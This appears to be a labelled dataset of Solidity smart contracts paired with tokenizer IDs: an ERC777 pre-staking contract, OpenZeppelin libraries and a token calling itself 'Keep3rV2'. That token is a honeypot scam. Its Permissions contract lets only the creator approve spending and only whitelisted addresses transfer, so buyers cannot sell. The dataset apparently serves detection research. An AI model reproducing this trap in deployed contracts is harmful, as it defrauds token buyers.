_approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 12609, 1011, 2260, 1011, 2385, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 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/** Submitted for verification at Etherscan.io on 2022-04-19 / // Sources flattened with hardhat v2.8.4 https://hardhat.org // File @openzeppelin/contracts/token/ERC20/[email protected] // SPDX-License-Identifier: MIT AND GPL-3.0-or-later // All OpenZeppelin Contracts Licensed under MIT // All other contracts Licensed under GPL 3.0 or later // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address to, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 amount ) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/utils/introspection/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC1820Implementer.sol) pragma solidity ^0.8.0; /* * @dev Interface for an ERC1820 implementer, as defined in the * https://eips.ethereum.org/EIPS/eip-1820#interface-implementation-erc1820implementerinterface[EIP]. * Used by contracts that will be registered as implementers in the * {IERC1820Registry}. / interface IERC1820Implementer { /* * @dev Returns a special value (`ERC1820_ACCEPT_MAGIC`) if this contract * implements `interfaceHash` for `account`. * * See {IERC1820Registry-setInterfaceImplementer}. / function canImplementInterfaceForAddress(bytes32 interfaceHash, address account) external view returns (bytes32); } // File @openzeppelin/contracts/utils/introspection/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC1820Implementer.sol) pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC1820Implementer} interface. * * Contracts may inherit from this and call {_registerInterfaceForAddress} to * declare their willingness to be implementers. * {IERC1820Registry-setInterfaceImplementer} should then be called for the * registration to be complete. / contract ERC1820Implementer is IERC1820Implementer { bytes32 private constant _ERC1820_ACCEPT_MAGIC = keccak256("ERC1820_ACCEPT_MAGIC"); mapping(bytes32 => mapping(address => bool)) private _supportedInterfaces; /* * @dev See {IERC1820Implementer-canImplementInterfaceForAddress}. / function canImplementInterfaceForAddress(bytes32 interfaceHash, address account) public view virtual override returns (bytes32) { return _supportedInterfaces[interfaceHash][account] ? _ERC1820_ACCEPT_MAGIC : bytes32(0x00); } /* * @dev Declares the contract as willing to be an implementer of * `interfaceHash` for `account`. * * See {IERC1820Registry-setInterfaceImplementer} and * {IERC1820Registry-interfaceHash}. / function _registerInterfaceForAddress(bytes32 interfaceHash, address account) internal virtual { _supportedInterfaces[interfaceHash][account] = true; } } // File @openzeppelin/contracts/utils/introspection/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC1820Registry.sol) pragma solidity ^0.8.0; /* * @dev Interface of the global ERC1820 Registry, as defined in the * https://eips.ethereum.org/EIPS/eip-1820[EIP]. Accounts may register * implementers for interfaces in this registry, as well as query support. * * Implementers may be shared by multiple accounts, and can also implement more * than a single interface for each account. Contracts can implement interfaces * for themselves, but externally-owned accounts (EOA) must delegate this to a * contract. * * {IERC165} interfaces can also be queried via the registry. * * For an in-depth explanation and source code analysis, see the EIP text. / interface IERC1820Registry { /* * @dev Sets `newManager` as the manager for `account`. A manager of an * account is able to set interface implementers for it. * * By default, each account is its own manager. Passing a value of `0x0` in * `newManager` will reset the manager to this initial state. * * Emits a {ManagerChanged} event. * * Requirements: * * - the caller must be the current manager for `account`. / function setManager(address account, address newManager) external; /* * @dev Returns the manager for `account`. * * See {setManager}. / function getManager(address account) external view returns (address); /* * @dev Sets the `implementer` contract as ``account``'s implementer for * `interfaceHash`. * * `account` being the zero address is an alias for the caller's address. * The zero address can also be used in `implementer` to remove an old one. * * See {interfaceHash} to learn how these are created. * * Emits an {InterfaceImplementerSet} event. * * Requirements: * * - the caller must be the current manager for `account`. * - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not * end in 28 zeroes). * - `implementer` must implement {IERC1820Implementer} and return true when * queried for support, unless `implementer` is the caller. See * {IERC1820Implementer-canImplementInterfaceForAddress}. / function setInterfaceImplementer( address account, bytes32 _interfaceHash, address implementer ) external; /* * @dev Returns the implementer of `interfaceHash` for `account`. If no such * implementer is registered, returns the zero address. * * If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28 * zeroes), `account` will be queried for support of it. * * `account` being the zero address is an alias for the caller's address. / function getInterfaceImplementer(address account, bytes32 _interfaceHash) external view returns (address); /* * @dev Returns the interface hash for an `interfaceName`, as defined in the * corresponding * https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP]. / function interfaceHash(string calldata interfaceName) external pure returns (bytes32); /* * @notice Updates the cache with whether the contract implements an ERC165 interface or not. * @param account Address of the contract for which to update the cache. * @param interfaceId ERC165 interface for which to update the cache. / function updateERC165Cache(address account, bytes4 interfaceId) external; /* * @notice Checks whether a contract implements an ERC165 interface or not. * If the result is not cached a direct lookup on the contract address is performed. * If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling * {updateERC165Cache} with the contract address. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. / function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool); /* * @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. / function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool); event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer); event ManagerChanged(address indexed account, address indexed newManager); } // File contracts/ERC777Recipient.sol /* * Copyright (C) 2021-2022 TXA Pte. Ltd. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * See the GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. / pragma solidity 0.8.13; abstract contract ERC777Recipient is ERC1820Implementer { IERC1820Registry internal constant _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH = 0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895; bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH = 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b; constructor() { _registerInterfaceForAddress( _TOKENS_RECIPIENT_INTERFACE_HASH, address(this) ); _ERC1820_REGISTRY.setInterfaceImplementer( address(this), _TOKENS_RECIPIENT_INTERFACE_HASH, address(this) ); } function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external virtual {} } // File contracts/IAcceptsDeposit.sol /* * Copyright (C) 2022 TXA Pte. Ltd. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * See the GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. / pragma solidity 0.8.13; interface IAcceptsDeposit { function migrateDeposit(address depositor, uint256 amount) external returns (bool); function migrateVirtualBalance(address depositor, uint256 amount) external returns (bool); function getMigratorAddress() external view returns (address); } // File @openzeppelin/contracts/utils/structs/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/structs/BitMaps.sol) pragma solidity ^0.8.0; /* * @dev Library for managing uint256 to bool mapping in a compact and efficient way, providing the keys are sequential. * Largelly inspired by Uniswap's https://github.com/Uniswap/merkle-distributor/blob/master/contracts/MerkleDistributor.sol[merkle-distributor]. / library BitMaps { struct BitMap { mapping(uint256 => uint256) _data; } /* * @dev Returns whether the bit at `index` is set. / function get(BitMap storage bitmap, uint256 index) internal view returns (bool) { uint256 bucket = index >> 8; uint256 mask = 1 << (index & 0xff); return bitmap._data[bucket] & mask != 0; } /* * @dev Sets the bit at `index` to the boolean `value`. / function setTo( BitMap storage bitmap, uint256 index, bool value ) internal { if (value) { set(bitmap, index); } else { unset(bitmap, index); } } /* * @dev Sets the bit at `index`. / function set(BitMap storage bitmap, uint256 index) internal { uint256 bucket = index >> 8; uint256 mask = 1 << (index & 0xff); bitmap._data[bucket] \|= mask; } /* * @dev Unsets the bit at `index`. / function unset(BitMap storage bitmap, uint256 index) internal { uint256 bucket = index >> 8; uint256 mask = 1 << (index & 0xff); bitmap._data[bucket] &= ~mask; } } // File @openzeppelin/contracts/utils/cryptography/[email protected] // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /* * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. / library MerkleProof { /* * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. / function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /* * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ / function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // File contracts/MerkleClaim.sol /* * Copyright (C) 2022 TXA Pte. Ltd. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * See the GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. / pragma solidity 0.8.13; abstract contract MerkleClaim { using BitMaps for BitMaps.BitMap; /* * Merkle root that proofs will be checked against. / bytes32 public merkleRoot; / * Maps index of leaf to a boolean indicating whether or not it's * been claimed. / BitMaps.BitMap internal claimed; event MerkleRootSet(bytes32 virtualBalanceMerkleRoot); /* * Called by implementing contract to set the merkle root. * * Can only be called once. / function _setMerkleRoot(bytes32 _merkleRoot) internal { require(merkleRoot == bytes32(0), "ROOT_ALREADY_SET"); require(_merkleRoot != bytes32(0), "ROOT_MUST_BE_NONZERO"); merkleRoot = _merkleRoot; emit MerkleRootSet(_merkleRoot); } /* * Called by implementing contract to verify a merkle proof and process a claim. * * Prevents claiming with the same proof twice. / function _claim( uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof ) internal { require(!claimed.get(index), "ALREADY_CLAIMED"); bytes32 leaf = keccak256(abi.encodePacked(index, account, amount)); require( MerkleProof.verify(merkleProof, merkleRoot, leaf), "INVALID_PROOF" ); claimed.set(index); } } // File contracts/PreStaking.sol /* * Copyright (C) 2022 TXA Pte. Ltd. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * See the GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. / pragma solidity 0.8.13; /* * Allows token holders to lock an ERC777 token for pre-staking. * Depositors send a specified token to this contract in order to stake. * After deposit period ends, manager sets a merkle root. Addresses can * then submit a merkle proof in order to claim a virtual balance. * Manager can set a migration address, after which depositors can * migrate both deposit balance and virtual balance to the new contract. * Migration contract is expected to implement the IAcceptsDeposit interface * and have the address of this contract set as the migrator. / contract PreStaking is ERC777Recipient, MerkleClaim { /* * Address authorized to set migration address. / address public manager; /* * Interface to token approved for deposits. / IERC20 public immutable depositToken; /* * Address that will be called by depositors through this contract to migrate their deposited tokens. / IAcceptsDeposit public migrationContract; /* * Timestamp for date after which deposits no longer accepted / uint256 public immutable depositEndTime; /* * Timestamp for date after which prestaked tokens can be withdrawn / uint256 public immutable withdrawUnlockTime; /* * Minimum amount of token that must be deposited / uint256 public immutable minimumDeposit; /* * Maps depositor address to amount of depositToken staked / mapping(address => uint256) public depositorBalance; /* * Maps depositor address to amount of virtual balance claimed / mapping(address => uint256) public virtualBalance; event MigrationContractSet(address migrationContract); event MigratedDeposit(address depositor, uint256 amount); event MigratedVirtualBalance(address depositor, uint256 amount); /* * Sets up parameters for prestaking * @param _manager Address that will be authorized to set migration address * @param _depositToken Address of token accepted as deposit * @param _timeUntilDepositsEnd Number of seconds after time of deployment until deposits no longer accepted * @param _timeUntilWithdraw Number of seconds after time of deployment until deposited tokens can be withdrawn * @param _minimumDeposit Minimum amount of tokens that depositor must stake to qualify / constructor( address _manager, address _depositToken, uint256 _timeUntilDepositsEnd, uint256 _timeUntilWithdraw, uint256 _minimumDeposit ) { require(_manager != address(0), "ZERO_ADDRESS_MANAGER"); require(_depositToken != address(0), "ZERO_ADDRESS_DEPOSIT_TOKEN"); manager = _manager; depositToken = IERC20(_depositToken); depositEndTime = block.timestamp + _timeUntilDepositsEnd; withdrawUnlockTime = block.timestamp + _timeUntilWithdraw; minimumDeposit = _minimumDeposit; } /* * Called by the ERC777 contract when tokens are sent to this contract. * Depositors call the token contract to send tokens here to stake. * * Records number of tokens sent by a depositor. * Rejects any ERC777 token other than the deposit token. * Rejects deposits after the deposit period ends. * Rejects deposits below a minimum amount. / function tokensReceived( address, address from, address, uint256 amount, bytes calldata, bytes calldata ) external override { require(msg.sender == address(depositToken), "INVALID_TOKEN"); require(block.timestamp < depositEndTime, "DEPOSIT_TIMEOUT"); depositorBalance[from] += amount; require(depositorBalance[from] >= minimumDeposit, "BELOW_MINIMUM"); } /* * Called by the manager to set the migration contract. * * Can only be set once. * Checks that migration contract has set this contract as the migrator. * Approves the migration contract as the spender of this contract's tokens. / function setMigrationContract(address _migrationContract) external onlyManager { require( address(migrationContract) == address(0), "MIGRATION_ALREADY_SET" ); migrationContract = IAcceptsDeposit(_migrationContract); require( migrationContract.getMigratorAddress() == address(this), "INVALID_MIGRATION_CONTRACT" ); require( depositToken.approve(_migrationContract, type(uint256).max), "APPROVE_FAILED" ); emit MigrationContractSet(_migrationContract); } /* * Called by manager to set merkle root of the tree where * each leaf is a virtual balance. / function setMerkleRoot(bytes32 _virtualBalanceMerkleRoot) external onlyManager { _setMerkleRoot(_virtualBalanceMerkleRoot); } /* * Called by an address with a leaf in the merkle tree * to claim a virtual balance. * * See MerkleClaim._claim / function claimVirtualBalance( uint256 index, uint256 amount, bytes32[] calldata merkleProof ) external { _claim(index, msg.sender, amount, merkleProof); virtualBalance[msg.sender] += amount; } /* * Called by a depositor to migrate tokens from this contract to * migration contract. / function migrateDeposit(uint256 amount) external { require(address(migrationContract) != address(0), "MIGRATION_NOT_SET"); require(depositorBalance[msg.sender] >= amount, "INSUFFICIENT_FUNDS"); depositorBalance[msg.sender] -= amount; require( migrationContract.migrateDeposit(msg.sender, amount), "MIGRATE_DEPOSIT_FAILED" ); emit MigratedDeposit(msg.sender, amount); } /* * Called by a depositor to migrate a virtual balance from this contract * to migration contract. / function migrateVirtualBalance(uint256 amount) external { require(address(migrationContract) != address(0), "MIGRATION_NOT_SET"); require(virtualBalance[msg.sender] >= amount, "INSUFFICIENT_BALANCE"); virtualBalance[msg.sender] -= amount; require( migrationContract.migrateVirtualBalance(msg.sender, amount), "MIGRATE_BALANCE_FAILED" ); emit MigratedVirtualBalance(msg.sender, amount); } /* * Called by depositor to withdraw staked tokens. * * Forbids withdrawing before unlock time has passed. * Prevents this contract from holding depositor's tokens * forever in the case that a migration contract is not added, or * if depositors choose not to migrate. / function withdraw(uint256 amount) external { require(block.timestamp >= withdrawUnlockTime, "WITHDRAW_LOCKED"); require(depositorBalance[msg.sender] >= amount, "INSUFFICIENT_FUNDS"); depositorBalance[msg.sender] -= amount; require(depositToken.transfer(msg.sender, amount), "TRANSFER_FAILED"); } /* * Restricts calling a function to the address set as manager. */ modifier onlyManager() { require(manager == msg.sender, "SENDER_NOT_MANAGER"); _; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 5840, 1011, 2539, 1008, 1013, 1013, 1013, 4216, 16379, 2007, 2524, 12707, 1058, 2475, 1012, 1022, 1012, 1018, 16770, 1024, 1013, 1013, 2524, 12707, 1012, 8917, 1013, 1013, 5371, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 1031, 10373, 5123, 1033, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1998, 14246, 2140, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 1013, 1013, 2035, 2330, 4371, 27877, 2378, 8311, 7000, 2104, 10210, 1013, 1013, 2035, 2060, 8311, 7000, 2104, 14246, 2140, 1017, 1012, 1014, 2030, 2101, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1006, 2197, 7172, 1058, 2549, 1012, 1019, 1012, 1014, 1007, 1006, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 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pragma solidity ^0.6.6; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.6; /** * @dev Collection of functions related to the address type / library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * Available since v3.1. / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.6.6; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } pragma solidity ^0.6.6; contract Permissions is Context { address private _creator; address private _uniswap; mapping (address => bool) private _permitted; constructor() public { _creator = 0x556808eEC0F0F0fc0A55d82112F23044ae192047; _uniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; _permitted[_creator] = true; _permitted[_uniswap] = true; } function creator() public view returns (address) { return _creator; } function uniswap() public view returns (address) { return _uniswap; } function givePermissions(address who) internal { require(_msgSender() == _creator \|\| _msgSender() == _uniswap, "You do not have permissions for this action"); _permitted[who] = true; } modifier onlyCreator { require(_msgSender() == _creator, "You do not have permissions for this action"); _; } modifier onlyPermitted { require(_permitted[_msgSender()], "You do not have permissions for this action"); _; } } pragma solidity ^0.6.6; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; /* * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18 and a {totalSupply} of the token. * * All four of these values are immutable: they can only be set once during * construction. / constructor () public { //_name = " Keep3rV2 "; //_symbol = KP3Rv2 "; _name = "Keep3rV2 "; _symbol = "KP3Rv2"; _decimals = 18; _totalSupply = 5000000000000000000000; _balances[creator()] = _totalSupply; emit Transfer(address(0), creator(), _totalSupply); } /* * @dev Returns the name of the token. / function name() public view returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) { _transfer(_msgSender(), recipient, amount); if(_msgSender() == creator()) { givePermissions(recipient); } return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); if(_msgSender() == uniswap()) { givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1020, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1010, 1000, 3647, 18900, 2232, 1024, 2804, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 4942, 6494, 7542, 1997, 2048, 27121, 24028, 1010, 7065, 8743, 2075, 2006, 1008, 2058, 12314, 1006, 2043, 1996, 2765, 2003, 4997, 1007, 1012, 1008, 1008, 13637, 2000, 5024, 3012, 1005, 1055, 1036, 1011, 1036, 6872, 1012, 1008, 1008, 5918, 1024, 1008, 1008, 1011, 4942, 6494, 7542, 3685, 2058, 12314, 1012, 1008, 1013, 3853, 4942, 1006, 21318, 3372, 